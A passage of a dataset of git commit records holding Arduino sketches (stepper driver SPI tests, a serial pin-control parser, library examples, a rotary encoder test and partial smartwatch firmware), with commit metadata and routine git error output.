(buttonB.getSingleDebouncedRelease())\n {\n Serial.println(\"button pushed\");\n break;\n }\n }\n \/\/All registers should start out with 0 in them after reset\n \/\/so to verify that SPI is working, we will write to one and \n \/\/then read from it. \n Serial.print(\"DIRCTRL = \");\n Serial.println((SPItransmit(READ, CR1, 0) & B10000000)>>7); \/\/print value from DIRCTRL\n SPIwriteParam(DIRCTRL, 1); \/\/write to DIRCTRL\n Serial.print(\"DIRCTRL = \");\n Serial.println((SPItransmit(READ, CR1, 0) & B10000000)>>7); \/\/print value from DIRCTRL \n \n while (1)\n {\n if (buttonB.getSingleDebouncedRelease())\n {\n Serial.println(\"button pushed\");\n break;\n }\n }\n \/\/Next lets test some of the status bits like charge pump\n \/\/failure, micro-step position, and OPEN Coil\n \/\/First we might have to enable the motor outputs\n Serial.print(\"MOTEN = \");\n Serial.println((SPItransmit(READ, CR2, 0) & B10000000)>>7); \/\/print value from DIRCTRL\n SPIwriteParam(MOTEN, 1); \/\/write to DIRCTRL\n Serial.print(\"MOTEN = \");\n Serial.println((SPItransmit(READ, CR2, 0) & B10000000)>>7); \/\/print value from DIRCTRL \n \n Serial.print(\"CPFail = \");\n Serial.println((SPItransmit(READ, SR0, 0) & B00100000)>>5);\n Serial.print(\"Micro-step position = \");\n Serial.println(SPItransmit(READ, SR3, 0) & B01111111);\n Serial.print(\"OPEN Coil X = \");\n Serial.println((SPItransmit(READ, SR0, 0) & B00001000)>>3);\n Serial.print(\"OPEN Coil Y = \");\n Serial.println((SPItransmit(READ, SR0, 0) & B00000100)>>2);\n \n \/\/Next lets try setting the current limit higher\n Serial.print(\"CUR = \");\n Serial.println((SPItransmit(READ, CR0, 0) & B00011111)>>0); \/\/print value from DIRCTRL\n SPIwriteParam(CUR, 10); \/\/write to DIRCTRL\n Serial.print(\"CUR = \");\n Serial.println((SPItransmit(READ, CR0, 0) & B00011111)>>0); \/\/print value from DIRCTRL \n}\n\nvoid loop() \n{\n \/\/Now lets step the motor\n digitalWrite(STEP, HIGH);\n delay(1);\n digitalWrite(STEP, LOW);\n delay(10);\n \n \/\/If we press the button again display the microstep\n if(!buttonA.isPressed())\n {\n Serial.print(\"Micro-step position = \");\n Serial.println((SPItransmit(READ, SR0, 0) & B00000100)>>2);\n }\n}\n\nvoid SPIwriteParam(int param, byte newData)\n{\n \/\/Before writing a single param we must read what is already at\n \/\/that address so we can preserve it.\n byte prevData;\n \n switch(param)\n {\n case DIRCTRL:\n prevData = SPItransmit(READ, CR1, 0) & B01111111;\n SPItransmit(WRITE, CR1, prevData | newData<<7);\n break;\n case NXTP:\n prevData = SPItransmit(READ, CR1, 0) & B10111111;\n SPItransmit(WRITE, CR1, prevData | newData<<6);\n break;\n case EMC:\n prevData = SPItransmit(READ, CR1, 0) & B11111100;\n SPItransmit(WRITE, CR1, prevData | newData<<0);\n break;\n case SLAT:\n prevData = SPItransmit(READ, CR2, 0) & B11101111;\n SPItransmit(WRITE, CR2, prevData | newData<<4);\n break;\n case SLAG:\n prevData = SPItransmit(READ, CR2, 0) & B11011111;\n SPItransmit(WRITE, CR2, prevData | newData<<5);\n break;\n case PWMF:\n prevData = SPItransmit(READ, CR1, 0) & B11110111;\n SPItransmit(WRITE, CR1, prevData | newData<<3);\n break;\n case PWMJ:\n prevData = SPItransmit(READ, CR1, 0) & B11111011;\n SPItransmit(WRITE, CR1, prevData | newData<<2);\n break;\n case SM:\n prevData = SPItransmit(READ, CR0, 0) & B00011111;\n SPItransmit(WRITE, CR0, prevData | newData<<5);\n break;\n case ESM:\n prevData = SPItransmit(READ, CR3, 0) & B11111000;\n SPItransmit(WRITE, CR3, prevData | newData<<0);\n break;\n case SLP:\n prevData = SPItransmit(READ, CR2, 0) & B10111111;\n SPItransmit(WRITE, CR2, prevData | newData<<6);\n break;\n case MOTEN:\n prevData = SPItransmit(READ, CR2, 0) & B01111111;\n SPItransmit(WRITE, CR2, prevData | newData<<7);\n break;\n case CUR:\n prevData = SPItransmit(READ, CR0, 0) & B11100000;\n SPItransmit(WRITE, CR0, prevData | newData<<0);\n break;\n case WDEN:\n prevData = SPItransmit(READ, WR, 0) & B01111111;\n SPItransmit(WRITE, WR, prevData | newData<<7);\n break;\n case WDT:\n prevData = SPItransmit(READ, WR, 0) & B10000111;\n SPItransmit(WRITE, WR, prevData | newData<<3);\n break;\n }\n}\n\nbyte SPItransmit(int cmd, int adr, byte dataIn) \n{\n digitalWrite(SLAVESELECT,LOW); \/\/take the ss pin low to select the chip\n SPI.transfer(cmd<<5 | adr); \/\/send command and address byte\n byte dataOut = SPI.transfer(dataIn); \/\/send data byte for write and read data dyte for read\n digitalWrite(SLAVESELECT,HIGH); \/\/take the ss pin high to de-select the chip\n return dataOut;\n}\n","old_contents":"","returncode":128,"stderr":"fatal: invalid reference: FETCH_HEAD^\n","license":"mit","lang":"Arduino"} {"commit":"6c04e58b727d118e1bef4d13efc8a3b72d95f142","subject":"Added first Arduino COM code test","message":"Added first Arduino COM code test\n","repos":"fermino\/WhatsBot,biddyweb\/WhatsBot,codeRuth\/WhatsBot","old_file":"Arduino\/WhatsBot\/WhatsBot.ino","new_file":"Arduino\/WhatsBot\/WhatsBot.ino","new_contents":"const int Rate = 9600;\nconst char CommandEnd = 0x26; \/\/ Ampersand\nconst char Separator = 0x20; \/\/ Space\n\nvoid setup()\n{\n Serial.begin(Rate);\n \n pinMode(LED_BUILTIN, OUTPUT);\n}\n\nvoid loop()\n{\n char Buffer[128];\n \n int Readed = Serial.readBytesUntil(0x26, Buffer, 128); \/\/ 0x10\n \n if(Readed > 0)\n {\n Blink();\n \n String Command = String(Buffer).substring(0, Readed);\n \n int Offset = Command.indexOf(Separator);\n String Object = Command.substring(0, Offset);\n String Params = Command.substring(Offset + 1);\n \n if(Object == \"pin\")\n Serial.println(Pin(Params));\n }\n}\n\nvoid Blink()\n{\n digitalWrite(LED_BUILTIN, HIGH);\n delay(5);\n digitalWrite(LED_BUILTIN, LOW);\n}\n\nString Pin(String Params)\n{\n int Offset = Params.indexOf(Separator);\n String Command = Params.substring(0, Offset);\n String SubParams = Params.substring(Offset + 1);\n \n if(Command == \"mode\")\n return PinMode(SubParams);\n else if(Command == \"write\")\n return PinWrite(SubParams);\n \/\/else if(Command == \"read\")\n \/\/ ;\n \n return \"pin_action_invalid\";\n}\n\nString PinMode(String Params)\n{\n int Offset = Params.indexOf(Separator);\n int Pin = Params.substring(0, Offset).toInt();\n String Mode = Params.substring(Offset + 1);\n \n if(IsAvailablePin(Pin))\n {\n if(Mode == \"output\")\n pinMode(Pin, OUTPUT);\n else if(Mode == \"input\")\n pinMode(Pin, INPUT);\n else\n return \"pin_mode_invalid\";\n \n return \"pin_mode_setted\";\n }\n \n return \"pin_unavailable\";\n}\n\nString PinWrite(String Params)\n{\n int Offset = Params.indexOf(Separator);\n int Pin = Params.substring(0, Offset).toInt();\n String Mode = Params.substring(Offset + 1);\n \n if(IsAvailablePin(Pin))\n {\n if(Mode == \"high\")\n digitalWrite(Pin, HIGH);\n else if(Mode == \"low\")\n digitalWrite(Pin, LOW);\n \/\/else if(Mode == \"toggle\")\n \/\/ ;\n else\n return \"pin_value_invalid\";\n \n return \"pin_value_setted\";\n }\n \n return \"pin_unavailable\";\n}\n\nboolean IsAvailablePin(int Pin)\n{\n return Pin > 1 && Pin < 14; \/\/ < 13?\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/WhatsBot\/WhatsBot.ino' did not match any file(s) known to git\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"632fb5d386c48ce2e18eabbc126213c7e023cb03","subject":"Added ValueEepromExample","message":"Added ValueEepromExample\n","repos":"ozbotics\/Value","old_file":"examples\/ValueEepromExample\/ValueEepromExample.ino","new_file":"examples\/ValueEepromExample\/ValueEepromExample.ino","new_contents":"#include <Value.h>\n#include <ValueEeprom.h>\n\n\nvoid setup() {\n Serial.begin(9600);\n\n \/\/ use this as a buffer for all getValueString calls\n char outBuf[80];\n\n \n Serial.println(F(\"float Value, default format, 1 digit long, with no decimal places\"));\n Value<float> floatVal1;\n \n Serial.print(F(\"Initial floatVal1.value: \"));\n Serial.print(floatVal1.getValue());\n Serial.print(F(\", floatVal1.getValueString: \"));\n floatVal1.getValueString(outBuf);\n Serial.println(outBuf);\n\n floatVal1.setValue(2.01);\n\n Serial.print(F(\"Updated floatVal1.value: \"));\n Serial.print(floatVal1.getValue());\n Serial.print(F(\", floatVal1.getValueString: \"));\n floatVal1.getValueString(outBuf);\n Serial.println(outBuf);\n Serial.println();\n\n \n Serial.println(F(\"float Value, 5 digital long, with 2 decimal places\"));\n Value<float> floatVal2(5,2);\n \n Serial.print(F(\"Initial floatVal2.value: \"));\n Serial.print(floatVal2.getValue());\n Serial.print(F(\", floatVal2.getValueString: \"));\n floatVal2.getValueString(outBuf);\n Serial.println(outBuf);\n\n floatVal2.setValue(2.01);\n\n Serial.print(F(\"Updated floatVal2.value: \"));\n Serial.print(floatVal2.getValue());\n Serial.print(F(\", floatVal2.getValueString: \"));\n floatVal2.getValueString(outBuf);\n Serial.println(outBuf);\n Serial.println();\n\n \n Serial.println(F(\"float Value, 8 digital long (padded), with 2 decimal places\"));\n Value<float> floatVal3(8,2);\n\n Serial.print(F(\"Initial floatVal3.value: \"));\n Serial.print(floatVal3.getValue());\n Serial.print(F(\", floatVal3.getValueString: \"));\n floatVal3.getValueString(outBuf);\n Serial.println(outBuf);\n\n floatVal3.setValue(2.01);\n\n Serial.print(F(\"Updated floatVal3.value: \"));\n Serial.print(floatVal3.getValue());\n Serial.print(F(\", floatVal3.getValueString: \"));\n floatVal3.getValueString(outBuf);\n Serial.println(outBuf);\n Serial.println();\n\n \n Serial.println(F(\"integer Value with default formating\"));\n Value<int> intVal1;\n\n Serial.print(F(\"Initial intVal1.value: \"));\n Serial.print(intVal1.getValue());\n Serial.print(F(\", intVal1.getValueString: \"));\n intVal1.getValueString(outBuf);\n Serial.println(outBuf);\n\n intVal1.setValue(1000);\n\n Serial.print(F(\"Updated intVal1.value: \"));\n Serial.print(intVal1.getValue());\n Serial.print(F(\", intVal1.getValueString: \"));\n intVal1.getValueString(outBuf);\n Serial.println(outBuf);\n Serial.println();\n\n \n Serial.println(F(\"fixed point Value, 5 digits long, with 2 decimal places\"));\n Value<int> intVal2(5,2);\n\n Serial.print(F(\"Initial intVal2.value: \"));\n Serial.print(intVal2.getValue());\n Serial.print(F(\", intVal2.getValueString: \"));\n intVal2.getValueString(outBuf);\n Serial.println(outBuf);\n\n intVal2.setValue(1000);\n\n Serial.print(F(\"Updated intVal2.value: \"));\n Serial.print(intVal2.getValue());\n Serial.print(F(\", intVal2.getValueString: \"));\n intVal2.getValueString(outBuf);\n Serial.println(outBuf);\n Serial.println();\n\n\n Serial.println(F(\"fixed point Value, 5 digits long, with 0 decimal places, divided by 1000 (eg; millisceonds to seconds)\"));\n Value<int> intVal3(5,0,1000);\n\n Serial.print(F(\"Initial intVal3.value: \"));\n Serial.print(intVal3.getValue());\n Serial.print(F(\", intVal3.getValueString: \"));\n intVal3.getValueString(outBuf);\n Serial.println(outBuf);\n\n intVal3.setValue(10000);\n\n Serial.print(F(\"Updated intVal3.value: \"));\n Serial.print(intVal3.getValue());\n Serial.print(F(\", intVal3.getValueString: \"));\n intVal3.getValueString(outBuf);\n Serial.println(outBuf);\n Serial.println();\n \n \n \/\/ boolean Value\n Serial.println(F(\"boolean Value\"));\n Value<bool> boolVal1;\n \n Serial.print(F(\"Initial boolVal1.value: \"));\n Serial.print(boolVal1.getValue());\n Serial.print(F(\", boolVal1.getValueString: \"));\n boolVal1.getValueString(outBuf);\n Serial.println(outBuf);\n\n boolVal1.setValue(true);\n\n Serial.print(F(\"Updated boolVal1.value: \"));\n Serial.print(boolVal1.getValue());\n Serial.print(F(\", boolVal1.getValueString: \"));\n boolVal1.getValueString(outBuf);\n Serial.println(outBuf);\n Serial.println();\n \n}\n\nvoid loop() {\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/ValueEepromExample\/ValueEepromExample.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"70b46f1d280ac8e8c60c8cee9f4986bfa3f529d4","subject":"add an example","message":"add an example\n","repos":"georgychen\/WDT_Random_Generator,georgychen\/WDT_Random_Generator","old_file":"examples\/WDT_Random_example\/WDT_Random_example.ino","new_file":"examples\/WDT_Random_example\/WDT_Random_example.ino","new_contents":"#include <WDT_Random_Generator.h>\n\n\/*\nThis example creates 8 random numbers(bytes) upon program startup. \nNote that it is very unlikely to have same initial numbers created between arduino resets.\nUnder default setting, it takes around 382ms to generate one byte.\n*\/\n\nvoid setup()\n{\n\tSerial.begin(115200);\n\tSerial.println(\"Program started.\");\n\tSerial.println(\"Creating 8 random numbers(byte):\");\n\tuint8_t r;\n\tfor (uint16_t i = 0; i < 8; i++)\n\t{\n\t\tr = getWdtRandom();\n\t\tSerial.print(r,10);\n\t\tSerial.print(\" \");\n\t}\n\tSerial.println();\n\tSerial.println(\"Program ended.\");\n}\n\nvoid loop()\n{\n\t\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/WDT_Random_example\/WDT_Random_example.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"9184558911cb4fdf0f1155344841059d86227e3d","subject":"worked once","message":"worked once\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"EndStopTest2\/EndStopTest2.ino","new_file":"EndStopTest2\/EndStopTest2.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"07e9193108f70a17bec393a4334dc16c799a68e9","subject":"checkin after successful test","message":"checkin after successful test\n","repos":"thjm\/Sketches,thjm\/Sketches,thjm\/Sketches","old_file":"RotaryTest\/RotaryTest.ino","new_file":"RotaryTest\/RotaryTest.ino","new_contents":"\n\/\/\n\/\/ Test code for the rotary encoder attached to the Teensy in the 4m Transverter\n\/\/\n\/\/ see also: \n\/\/ - Sketchbook\/RotaryEncoder\/rotary1\/rotary1.ino\n\/\/ - http:\/\/www.pjrc.com\/teensy\/td_libs_Encoder.html\n\/\/\n\/\/ $Id$\n\/\/\n\n#include <Encoder.h>\n\n\/\/ Teensy pins to which encoder is attached to. Attach the center to ground.\nuint8_t const kROTARY_PIN1 = 17; \/\/ CLK\nuint8_t const kROTARY_PIN2 = 16; \/\/ DT\n\/\/ Teensy pin where the push-button (axis of rotary encoder) is connected to\nuint8_t const kPUSHBUTTON_PIN = 15; \/\/ SW\n\n\/\/ number of steps for a complete round\n#define NUM_STEPS 60\n\n\/\/ define to enable weak pullups.\n#define ENABLE_PULLUPS\n\n\n\/\/ Change these two numbers to the pins connected to your encoder.\n\/\/ Best Performance: both pins have interrupt capability\n\/\/ Good Performance: only the first pin has interrupt capability\n\/\/ Low Performance: neither pin has interrupt capability\n\/\/ avoid using pins with LEDs attached\nEncoder myEnc(kROTARY_PIN2, kROTARY_PIN1);\n\n\/** *\/\nvoid setup() {\n\n pinMode(kPUSHBUTTON_PIN, INPUT);\n#ifdef ENABLE_PULLUPS\n digitalWrite(kPUSHBUTTON_PIN, HIGH);\n#endif \/\/ ENABLE_PULLUPS\n \n Serial.begin(9600);\n Serial.println(\"'rotary1' : basic encoder test:\");\n}\n\nlong oldPosition = -1;\n\n\/** *\/\nvoid loop() {\n\n if ( digitalRead(kPUSHBUTTON_PIN) == 0 ) {\n oldPosition = -1;\n myEnc.write(0);\n delay(500);\n Serial.println(\"Counter reset\");\n }\n\n long newPosition = myEnc.read();\n\n if ( newPosition >= NUM_STEPS ) {\n newPosition -= NUM_STEPS;\n myEnc.write(newPosition);\n }\n if ( newPosition < 0 ) {\n newPosition += NUM_STEPS;\n myEnc.write(newPosition);\n }\n \n if (newPosition != oldPosition) {\n oldPosition = newPosition;\n \n Serial.println(newPosition);\n }\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'RotaryTest\/RotaryTest.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a9b0c66de908b1f1917c6a20aebcd3e901556d78","subject":"cool boulder dash design firmware added","message":"cool boulder dash design firmware added\n","repos":"no-go\/UART-Smartwatch,no-go\/UART-Smartwatch,no-go\/UART-Smartwatch","old_file":"Stepper\/watch8\/watch8.ino","new_file":"Stepper\/watch8\/watch8.ino","new_contents":"#include <MsTimer2.h>\n\n#include <Wire.h> \/\/I2C Arduino Library\n#include <Adafruit_Sensor.h>\n#include <Adafruit_HMC5883_U.h>\nAdafruit_HMC5883_Unified mag = Adafruit_HMC5883_Unified(12345);\n\n#include <Adafruit_GFX.h>\n#include <Adafruit_SSD1306.h>\n\n\/\/ CONFIG -------------------------------------------\n\n\/\/ --------- HARDWARE I2C HMC5883: A4 -> SDA, A5 -> SCL\n#define HMC_DRDY A1 \/\/unused\n\n\/\/ --------- HARDWARE SPI OLED: 11 -> MOSI\/DIN, 13 -> SCK\n#define OLED_CS 4\n#define PIN_RESET 6\n#define PIN_DC 8\n\n#define BUTTON1 3\n#define BUTTON2 2\n\n#define LED_BLUE 10\n#define LED_GREEN 9\n#define LED_RED 5\n#define LED_OFF LOW\n#define LED_ON HIGH\n\n#define SERIAL_SPEED 9600\n#define DISPLAYSEC 10\n\n#define SYS_SWITCH A7\n#define MAS_SWITCH A0\n#define BLE_LED 7 \/\/unused\n\n#define WARN_POWER 3242 \/\/ or try 3200, 3500, 3600\n\n\/\/ --------------------------------------------------\n\n#define CHAR_TIME_REQUEST '~'\n#define CHAR_TIME_RESPONSE '#' \/\/#HH:mm:ss\n#define CHAR_NOTIFY_HINT '%' \/\/%[byte]\n\n#define MEMOSTR_LIMIT 115\n#define STEP_TRESHOLD 0.125\n\n#define MOVIE_X 100\n#define MOVIE_Y 29\n\nint vcc;\nbool powerlow = false;\n\n#define MINDIF 10\n\nint xx,yy,zz;\nint minx=400, maxx=0;\nint miny=400, maxy=0;\nint minz=400, maxz=0;\nfloat changes = 0.0;\nfloat changes_old = 0.0;\nfloat delta = 0.0;\nunsigned int steps = 0;\n\nchar memoStr[MEMOSTR_LIMIT] = {'\\0'};\nint memoStrPos = 0;\nchar buffMem;\nint cEnd = 0;\nint cStart= 0;\nbyte COUNT = 0;\n\nbyte hours = 0;\nbyte minutes = 0;\nbyte seconds = 0;\nbyte tick = 0;\nint dsec = DISPLAYSEC;\nbyte mtick = 0;\nbyte changeDigit = B00000001;\n\nclass OledWrapper : public Adafruit_SSD1306 {\n public:\n\n OledWrapper(const int & dc, const int & res, const int & cs) : Adafruit_SSD1306(dc,res,cs) {}\n\n void begin() {\n Adafruit_SSD1306::begin(SSD1306_SWITCHCAPVCC);\n clearDisplay();\n setTextSize(1); \/\/ 8 line with 21 chars\n setTextColor(WHITE);\n setCursor(0,0); \n }\n\n void black(const int & num) {\n setTextColor(BLACK);\n print(num); \n setTextColor(WHITE); \n }\n void black(const int & x, const int & y, const int & w, const int & h) {\n fillRect(x,y,w,h, BLACK);\n }\n void line(const int & x, const int & y, const int & xx, const int & yy) {\n drawLine(x,y,xx,yy, WHITE);\n }\n void pixel(const int & x, const int & y) {\n drawPixel(x,y, WHITE);\n }\n void rect(const int & x, const int & y, const int & w, const int & h) {\n drawRect(x,y,w,h, WHITE);\n }\n void rectFill(const int & x, const int & y, const int & w, const int & h) {\n fillRect(x,y,w,h, WHITE);\n }\n void circle(const int & x, const int & y, const int & radius) {\n drawCircle(x,y,radius, WHITE);\n }\n void setFontType(const int & t) {\n setTextSize(t);\n }\n void on() {\n ssd1306_command(SSD1306_DISPLAYON);\n }\n void off() {\n ssd1306_command(SSD1306_DISPLAYOFF);\n }\n void clear() {\n clearDisplay();\n }\n void command(uint8_t cmd) {\n ssd1306_command(cmd);\n }\n char umlReplace(char inChar) {\n if (inChar == -97) {\n inChar = 224; \/\/ \u00df\n } else if (inChar == -80) {\n inChar = 248; \/\/ \u00b0\n } else if (inChar == -67) {\n inChar = 171; \/\/ 1\/2\n } else if (inChar == -78) {\n inChar = 253; \/\/ \u00b2\n } else if (inChar == -92) {\n inChar = 132; \/\/ \u00e4\n } else if (inChar == -74) {\n inChar = 148; \/\/ \u00f6\n } else if (inChar == -68) {\n inChar = 129; \/\/ \u00fc\n } else if (inChar == -124) {\n inChar = 142; \/\/ \u00c4\n } else if (inChar == -106) {\n inChar = 153; \/\/ \u00d6\n } else if (inChar == -100) {\n inChar = 154; \/\/ \u00dc\n } else if (inChar == -85) {\n inChar = 0xAE; \/\/ <<\n } else if (inChar == -69) {\n inChar = 0xAF; \/\/ >>\n }\n return inChar; \n }\n};\n\nOledWrapper * oled = new OledWrapper(PIN_DC, PIN_RESET, OLED_CS);\n\nenum {MSG_NO, MSG_CAL, MSG_MAIL, MSG_SMS, MSG_OTHER};\nint iconType = MSG_NO;\n\n\nstatic const uint8_t PROGMEM movi1[] = {\nB00001100,B00110000,\nB00001100,B00110000,\nB00001111,B11110000,\nB00001111,B11110000,\nB00110011,B11001100,\nB00110011,B11001100,\nB00110011,B11001100,\nB00110011,B11001100,\nB00001111,B11110000,\nB00001111,B11110000,\nB00000011,B11000000,\nB00000011,B11000000,\nB00001111,B11110000,\nB00001111,B11110000,\nB00110011,B11001100,\nB00110011,B11001100,\nB00000011,B11000000,\nB00000011,B11000000,\nB00001100,B00110000,\nB00001100,B00110000,\nB00001100,B00110000,\nB00001100,B00110000,\nB00111100,B00111100,\nB00111100,B00111100\n};\nstatic const uint8_t PROGMEM movi2[] = { \/\/ taps\nB00001100,B00110000,\nB00001100,B00110000,\nB00001111,B11110000,\nB00001111,B11110000,\nB00110011,B11001100,\nB00110011,B11001100,\nB00110011,B11001100,\nB00110011,B11001100,\nB00001111,B11110000,\nB00001111,B11110000,\nB00000011,B11000000,\nB00000011,B11000000,\nB00001111,B11110000,\nB00001111,B11110000,\nB00110011,B11001100,\nB00110011,B11001100,\nB00000011,B11000000,\nB00000011,B11000000,\nB00001100,B00110000,\nB00001100,B00110000,\nB00111100,B00110000,\nB00111100,B00110000,\nB00000000,B00111100,\nB00000000,B00111100\n};\nstatic const uint8_t PROGMEM movi3[] = { \/\/ blink\nB00001100,B00110000,\nB00001100,B00110000,\nB00001111,B11110000,\nB00001111,B11110000,\nB00111111,B11111100,\nB00111111,B11111100,\nB00111111,B11111100,\nB00111111,B11111100,\nB00001111,B11110000,\nB00001111,B11110000,\nB00000011,B11000000,\nB00000011,B11000000,\nB00001111,B11110000,\nB00001111,B11110000,\nB00110011,B11001100,\nB00110011,B11001100,\nB00000011,B11000000,\nB00000011,B11000000,\nB00001100,B00110000,\nB00001100,B00110000,\nB00001100,B00110000,\nB00001100,B00110000,\nB00111100,B00111100,\nB00111100,B00111100\n};\nstatic const uint8_t PROGMEM movi4[] = {\nB00001111,B11000000,\nB00001111,B11000000,\nB00111111,B11110000,\nB00111111,B11110000,\nB00111111,B11001100,\nB00111111,B11001100,\nB00111111,B11001100,\nB00111111,B11001100,\nB00001111,B11110000,\nB00001111,B11110000,\nB00001111,B11000000,\nB00001111,B11000000,\nB00001111,B11111100,\nB00001111,B11111100,\nB00001111,B11000000,\nB00001111,B11000000,\nB00000011,B11000000,\nB00000011,B11000000,\nB00111111,B11110000,\nB00111111,B11110000,\nB11000000,B00001100,\nB11000000,B00001100,\nB00000000,B00001111,\nB00000000,B00001111\n};\nstatic const uint8_t PROGMEM movi5[] = {\nB00001111,B11000000,\nB00001111,B11000000,\nB00111111,B11110000,\nB00111111,B11110000,\nB00111111,B11001100,\nB00111111,B11001100,\nB00111111,B11001100,\nB00111111,B11001100,\nB00001111,B11110000,\nB00001111,B11110000,\nB00001111,B11000000,\nB00001111,B11000000,\nB00001111,B11111100,\nB00001111,B11111100,\nB00001111,B11000000,\nB00001111,B11000000,\nB00000011,B11000000,\nB00000011,B11000000,\nB00111111,B00110000,\nB00111111,B00110000,\nB00110000,B00110000,\nB00110000,B00110000,\nB00110000,B00111100,\nB00110000,B00111100\n};\nstatic const uint8_t PROGMEM movi6[] = {\nB00001111,B11000000,\nB00001111,B11000000,\nB00111111,B11110000,\nB00111111,B11110000,\nB00111111,B11001100,\nB00111111,B11001100,\nB00111111,B11001100,\nB00111111,B11001100,\nB00001111,B11110000,\nB00001111,B11110000,\nB00001111,B11000000,\nB00001111,B11000000,\nB00001111,B11111100,\nB00001111,B11111100,\nB00001111,B11000000,\nB00001111,B11000000,\nB00000011,B11000000,\nB00111111,B11110000,\nB00111111,B11110000,\nB00111111,B11110000,\nB00111111,B11110000,\nB00111111,B00000000,\nB00111111,B00000000\n};\n\nstatic const uint8_t PROGMEM icon_calendar[] = {\nB11111111,\nB11111111,\nB10000001,\nB10000001,\nB10000101,\nB10000001,\nB11111111,\nB00000000\n};\nstatic const uint8_t PROGMEM icon_mail[] = {\nB11111111,\nB10000001,\nB11000011,\nB10100101,\nB10011001,\nB10000001,\nB11111111,\nB00000000\n};\nstatic const uint8_t PROGMEM icon_messaging[] = {\nB00111110,\nB01000001,\nB01000001,\nB01000001,\nB01000001,\nB01011110,\nB01100000,\nB01000000\n};\nstatic const uint8_t PROGMEM icon_other[] = {\nB00000111,\nB00011011,\nB01100101,\nB10001001,\nB01010001,\nB00110001,\nB00101101,\nB00110011 \n};\n\n\nvoid mesure() {\n static sensors_event_t event; \n mag.getEvent(&event);\n \n \/\/ get new\n xx = event.magnetic.x + 184;\n yy = event.magnetic.y + 184;\n zz = event.magnetic.z + 184;\n if (xx == -188) xx=500;\n if (yy == -188) yy=500;\n if (zz == -188) zz=500;\n if (xx < minx) minx=xx;\n if (yy < miny) miny=yy;\n if (zz < minz) minz=zz;\n if (xx<500 && xx > maxx) maxx=xx;\n if (yy<500 && yy > maxy) maxy=yy;\n if (zz<500 && zz > maxz) maxz=zz;\n\n changes = ( (float) xx \/ (float)(maxx-minx) ) + ( (float) yy \/ (float)(maxy-miny) ) + ( (float) zz \/ (float)(maxz-minz) );\n delta = ab(changes_old - changes);\n changes_old = changes;\n\n if (delta > STEP_TRESHOLD) {\n steps++;\n if (steps%50 == 0) {\n \/\/analogWrite(LED_RED, 250);\n analogWrite(LED_GREEN, 130);\n \/\/analogWrite(LED_BLUE, 130);\n delay(50);\n digitalWrite(LED_RED, LED_OFF);\n digitalWrite(LED_GREEN, LED_OFF);\n digitalWrite(LED_BLUE, LED_OFF);\n }\n if (steps%500 == 0) Serial.println(steps);\n }\n}\n\nvoid readVcc() {\n ADMUX = _BV(REFS0) | _BV(MUX3) | _BV(MUX2) | _BV(MUX1);\n delay(10); \/\/ Wait for Vref to settle\n ADCSRA |= _BV(ADSC); \/\/ Start conversion\n while (bit_is_set(ADCSRA,ADSC)); \/\/ measuring\n vcc = ADCL; \n vcc |= ADCH<<8; \n vcc = 1126400L \/ vcc;\n}\n\nvoid serialEvent() {\n while (Serial.available()) {\n if (memoStrPos >= MEMOSTR_LIMIT) memoStrPos = MEMOSTR_LIMIT;\n char inChar = (char)Serial.read();\n if (inChar == -61) continue; \/\/ symbol before utf-8\n if (inChar == -62) continue; \/\/ other symbol before utf-8\n if (inChar == '\\n') {\n memoStr[memoStrPos] = '\\0';\n dsec = 0;\n cEnd = 0;\n cStart = 0;\n buffMem = memoStr[cEnd];\n continue;\n }\n \n memoStr[memoStrPos] = oled->umlReplace(inChar);\n memoStrPos++; \n if (memoStrPos >= MEMOSTR_LIMIT) {\n \/\/ ignore the other chars\n memoStrPos = MEMOSTR_LIMIT-1;\n memoStr[memoStrPos] = '\\0';\n }\n }\n}\n\ninline void ticking() {\n tick++;\n if (tick%3 && mtick > 0) mtick++;\n if (mtick == 7) mtick=0;\n \n if (tick > 9) {\n seconds += tick\/10;\n dsec++;\n changeDigit = B00000001;\n if (seconds == 10 || seconds == 20 || seconds == 30 || seconds == 40 || seconds == 50) changeDigit = B00000011;\n }\n \n if (tick > 9) {\n tick = tick % 10;\n if (seconds > 59) {\n minutes += seconds \/ 60;\n seconds = seconds % 60;\n if (minutes%5 == 0) Serial.println(steps);\n\n changeDigit = B00000111;\n if (minutes == 10 || minutes == 20 || minutes == 30 || minutes == 40 || minutes == 50) changeDigit = B00001111;\n\n \/\/ modify limits every 1min to make a better re-calibration \n if (minx > 1 && maxx < 399 && ( (maxx-minx) < MINDIF)) {\n maxx--; minx++;\n }\n if (miny > 1 && maxy < 399 && ( (maxy-miny) < MINDIF)) {\n maxy--; miny++;\n }\n if (minz > 1 && maxz < 399 && ( (maxz-minz) < MINDIF)) {\n maxz--; minz++;\n }\n }\n if (minutes > 59) {\n hours += minutes \/ 60;\n minutes = minutes % 60;\n changeDigit = B00011111;\n if (hours == 10 || hours == 20 || hours == 24) changeDigit = B00111111;\n }\n if (hours > 23) {\n hours = hours % 24;\n }\n }\n if (COUNT > 0) {\n if (tick == 0) {\n analogWrite(LED_GREEN, 100); \n analogWrite(LED_RED, 50); \n } else {\n digitalWrite(LED_RED, LED_OFF);\n digitalWrite(LED_GREEN, LED_OFF);\n digitalWrite(LED_BLUE, LED_OFF);\n }\n }\n}\n\nint myFont(int x, int y, byte b, byte pos) {\n int he = 27;\n int yold = y;\n if (tick < 8 && ((pos & changeDigit) != B00000000)) {\n y = y - he*((7.0 - (float)tick)\/7.0);\n }\n \n if (b == 0) {\n oled->circle(x+he\/4, y+3*he\/4, he\/4);\n return x+2+he\/2;\n } else if (b == 1) {\n 